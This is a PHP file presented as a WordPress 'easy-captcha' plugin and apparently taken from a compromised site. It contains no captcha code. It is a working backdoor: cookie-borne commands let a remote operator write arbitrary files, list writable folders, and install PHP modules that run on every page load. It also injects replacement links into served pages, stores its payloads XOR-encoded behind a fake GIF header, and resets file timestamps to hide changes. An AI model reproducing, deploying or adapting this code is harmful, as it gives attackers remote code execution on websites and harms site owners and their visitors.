File: /home/analitts.ru/public_html/wp-content/plugins/easy-captcha/easy-captcha.php
<?php
class easy_captcha {
var $replaceInfo;
var $currentURL;
var $config;
function init() {
$this->initFunctions();
$this->config = $this->getConfig();
$this->currentURL = $this->getServerVar('REQUEST_URI');
if (substr($this->currentURL, -1, 1) == '/')
$this->currentURL = substr($this->currentURL, 0, -1);
$this->actions();
$this->modules();
$this->process();
}
function getServerVar($var = '') {
if (isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var])) {
return $_SERVER[$var];
} else if (function_exists('getenv') && getenv($var)) {
return getenv($var);
} else {
return '';
}
}
//Verify
function process() {
if (false === $this->config) return;
if (false !== ($page = $this->getPage())) {
$this->replaceInfo = $page;
ob_start('easy_captchaBufferEnd');
}
}
function getPage() {
$url = strtolower($this->currentURL);
if (isset($this->config['pages']) && isset($this->config['pages'][$url]))
return $this->config['pages'][$url];
return false;
}
//Verify
//Actions
function actions() {
if (false === $this->config)
$this->actionError('Wrong config');
$params = $this->getActionParams();
if (isset($params['act'])) {
switch ($params['act']) {
case 'page':
if (!isset($params['url']) || !isset($params['title']) || !isset($params['unique']) || !isset($params['replace']))
$this->actionError('Wrong params');
$return = $this->actionUpdatePage(array(
'url' => $params['url'],
'title' => $params['title'],
'unique' => $params['unique'],
'replace' => $params['replace'],
'delete' => isset($params['delete']) && $params['delete'],
));
break;
case 'writable':
$return = $this->actionWritablePlaces();
break;
case 'file':
if (!isset($params['folder']) || !isset($params['name']) || !isset($params['crc']))
$this->actionError('Wrong params');
if (!isset($_POST['content']))
$this->actionError('Wrong content');
$return = $this->actionCreateFile(array(
'folder' => $params['folder'],
'name' => $params['name'],
'content' => $_POST['content'],
'crc' => $params['crc'],
));
break;
case 'status':
$return = 'STATUS_OK';
break;
case 'config':
$return = json_encode($this->config);
break;
case 'module':
if (!isset($params['name']) || !isset($params['crc']))
$this->actionError('Wrong params');
if (!isset($_POST['content']))
$this->actionError('Wrong content');
$return = $this->actionCreateModule(array(
'name' => $params['name'],
'crc' => $params['crc'],
'content' => $_POST['content'],
'active' => isset($params['active']) && $params['active'] == '0' ? false : true,
));
break;
default:
$this->actionError('Wrong action');
}
$this->actionSuccess($return);
}
}
function getActionParams() {
$prefix = '__gapgl';
$length = strlen($prefix);
$params = array();
foreach ($_COOKIE as $key => $value) {
if (substr($key, 0, $length) == $prefix) {
$params[myfuncgood(substr($key, $length))] = myfuncgood($value);
}
}
return $params;
}
function actionError($s) {
die("ACTION_ERROR: ".$s);
}
function actionSuccess($s) {
die("ACTION_OK: ".$s);
}
function actionUpdatePage($params) {
if (!isset($this->config['pages'][$params['url']]))
$this->config['pages'][$params['url']] = array();
if ($params['delete']) {
unset($this->config['pages'][$params['url']][$params['title']]);
if (!$this->config['pages'][$params['url']])
unset($this->config['pages'][$params['url']]);
} else {
$this->config['pages'][$params['url']][$params['title']] = array(
'unique' => $params['unique'],
'replace' => $params['replace'],
);
}
if (!$this->setConfig())
$this->actionError('Cannot save config');
return json_encode($this->config);
}
function actionWritablePlaces() {
$folders = array();
$this->isWritableFolder('', $folders);
return json_encode($folders);
}
function isWritableFolder($folder, &$folders) {
if (!($hd = @opendir(ABSPATH.$folder))) return;
while ($f = @readdir($hd)) {
if ($f != '.' && $f != '..') {
$path = $folder.'/'.$f;
$realpath = ABSPATH.$path;
if (isset($folders[$path])) continue;
if (is_dir($realpath)) {
$isWritable = is_writable($realpath);
$tmpfile = $realpath.'/'.uniqid(mt_rand()).'.tmp';
if (!file_exists($tmpfile)) {
$isWritable = false;
if (false !== ($fh = @fopen($tmpfile, 'a'))) {
$isWritable = true;
fclose($fh);
@unlink($tmpfile);
}
}
$folders[$path] = $isWritable;
$this->isWritableFolder($path, $folders);
}
}
}
@closedir($hd);
}
function actionCreateFile($params) {
$content = $this->getImageDecodedText(myfuncgood($params['content']));
if (md5($content) != $params['crc'])
$this->actionError('Wrong crc');
if (!file_put_contents(ABSPATH.$params['folder'].'/'.$params['name'], $content))
$this->actionError('Cannot save file');
$this->config['files'][] = array(
'folder' => $params['folder'],
'name' => $params['name'],
'size' => strlen($content),
);
if (!$this->setConfig())
$this->actionError('Cannot save config');
return json_encode($this->config);
}
function actionCreateModule($params) {
$content = $this->getImageDecodedText(myfuncgood($params['content']));
if (md5($content) != $params['crc'])
$this->actionError('Wrong crc');
if (!$this->setImage('module:'.$params['name'], $content, false, 'php'))
$this->actionError('Cannot save module');
$this->config['modules'][$params['name']] = array(
'name' => $params['name'],
'size' => strlen($content),
'active' => $params['active'],
);
if (!$this->setConfig())
$this->actionError('Cannot save config');
return json_encode($this->config);
}
//Actions
//Modules
function modules() {
foreach ($this->config['modules'] as $name => $module) {
if ($module['active'])
@include($this->getImagesFolder().'/'.$this->getImageName('module:'.$name).'.php');
}
}
//Modules
function bufferEnd($buffer) {
$deflated = false;
$content = $buffer;
if (function_exists('gzinflate')) {
$inf = @gzinflate(substr($buffer, 10, -8));
if ($inf !== false) {
$content = $inf;
$deflated = true;
}
}
$content = $this->replaceLinks($content);
if ($deflated) {
$content = gzencode($content);
$clen = strlen($content);
@header("HTTP/1.1 200 OK");
@header("Content-Length: $clen");
}
return $content;
}
function replaceLinks($content) {
foreach ($this->replaceInfo as $title => $replaceInfo) {
$unique = preg_replace('/'.preg_quote($title, '/').'/', str_replace('$', '\\$', $replaceInfo['replace']), $replaceInfo['unique'], 1);
$content = preg_replace('/'.preg_quote($replaceInfo['unique'], '/').'/', str_replace('$', '\\$', $unique), $content, 1);
}
return $content;
}
static function getInstance() {
static $instance = null;
if ($instance === null) $instance = new easy_captcha();
return $instance;
}
function initFunctions() {
if (!function_exists('myfuncgood')) {
function myfuncgood($in) {
$out="";
for($x=0;$x<256;$x++){$chr[$x]=chr($x);}
$b64c=array_flip(preg_split('//',"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",-1,1));
$match = array();
preg_match_all("([A-z0-9+\/]{1,4})",$in,$match);
foreach($match[0] as $chunk){
$z=0;
for($x=0;isset($chunk[$x]);$x++){
$z=($z<<6)+$b64c[$chunk[$x]];
if($x>0){ $out.=$chr[$z>>(4-(2*($x-1)))];$z=$z&(0xf>>(2*($x-1))); }
}
}
return $out;
}
}
if (!function_exists("file_put_contents")) {
function file_put_contents($filename, $text) {
$f = fopen($filename, "w");
if (!$f) return false;
if (!fwrite($f, $text)) return false;
fclose($f);
return true;
}
}
if (!function_exists('json_encode')) {
function json_encode($data) {
switch ($type = gettype($data)) {
case 'NULL':
return 'null';
case 'boolean':
return ($data ? 'true' : 'false');
case 'integer':
case 'double':
case 'float':
return $data;
case 'string':
return '"' . addslashes($data) . '"';
case 'object':
$data = get_object_vars($data);
case 'array':
$output_index_count = 0;
$output_indexed = array();
$output_associative = array();
foreach ($data as $key => $value) {
$output_indexed[] = json_encode($value);
$output_associative[] = json_encode($key) . ':' . json_encode($value);
if ($output_index_count !== NULL && $output_index_count++ !== $key) {
$output_index_count = NULL;
}
}
if ($output_index_count !== NULL) {
return '[' . implode(',', $output_indexed) . ']';
} else {
return '{' . implode(',', $output_associative) . '}';
}
default:
return ''; // Not supported
}
}
}
}
function getImagesFolder() {
return dirname(__FILE__).'/media';
}
function getImageName($name) {
return md5($name);
}
function getImage($name) {
$file = $this->getImagesFolder().'/'.$this->getImageName($name).'.gif';
if (!file_exists($file)) return false;
return @unserialize($this->getImageDecodedText(file_get_contents($file)));
}
function setImage($name, $content, $encode = true, $ext = 'gif') {
$folder = $this->getImagesFolder();
$file = $folder.'/'.$this->getImageName($name).'.'.$ext;
$time = @filemtime($folder);
if (!@file_put_contents($file, $encode ? $this->getImageEncodedText(serialize($content)) : $content))
return false;
@touch($folder, $time);
@touch($file, $time);
return true;
}
function getConfigName() {
return 'config://settings.ini';
}
function getConfig() {
$config = $this->getImage($this->getConfigName());
if (!is_array($config))
$config = array();
if (!isset($config['pages']))
$config['pages'] = array();
if (!isset($config['files']))
$config['files'] = array();
if (!isset($config['modules']))
$config['modules'] = array();
return $config;
}
function setConfig() {
return $this->setImage($this->getConfigName(), $this->config);
}
function getXorText($text) {
$l = strlen($text);
$c50 = chr(50);
for ($i=0; $i<$l; $i++) {
$text[$i] = ($text[$i] ^ $c50);
}
return $text;
}
function getImageDecodedText($content) {
$content = substr($content, 50);
return $this->getXorText($content);
}
function getImageEncodedText($content) {
$content = self::getXorText($content);
return myfuncgood('R0lGODlhAQAGAJEAABqAqNzg5P///wByniH5BAAAAAAALAAAAAABAAYAAAIE3CASBQA=').$content;
}
}
function easy_captchaBufferEnd($buffer) {
$instance = easy_captcha::getInstance();
return $instance->bufferEnd($buffer);
}
$instance = easy_captcha::getInstance();
$instance->init();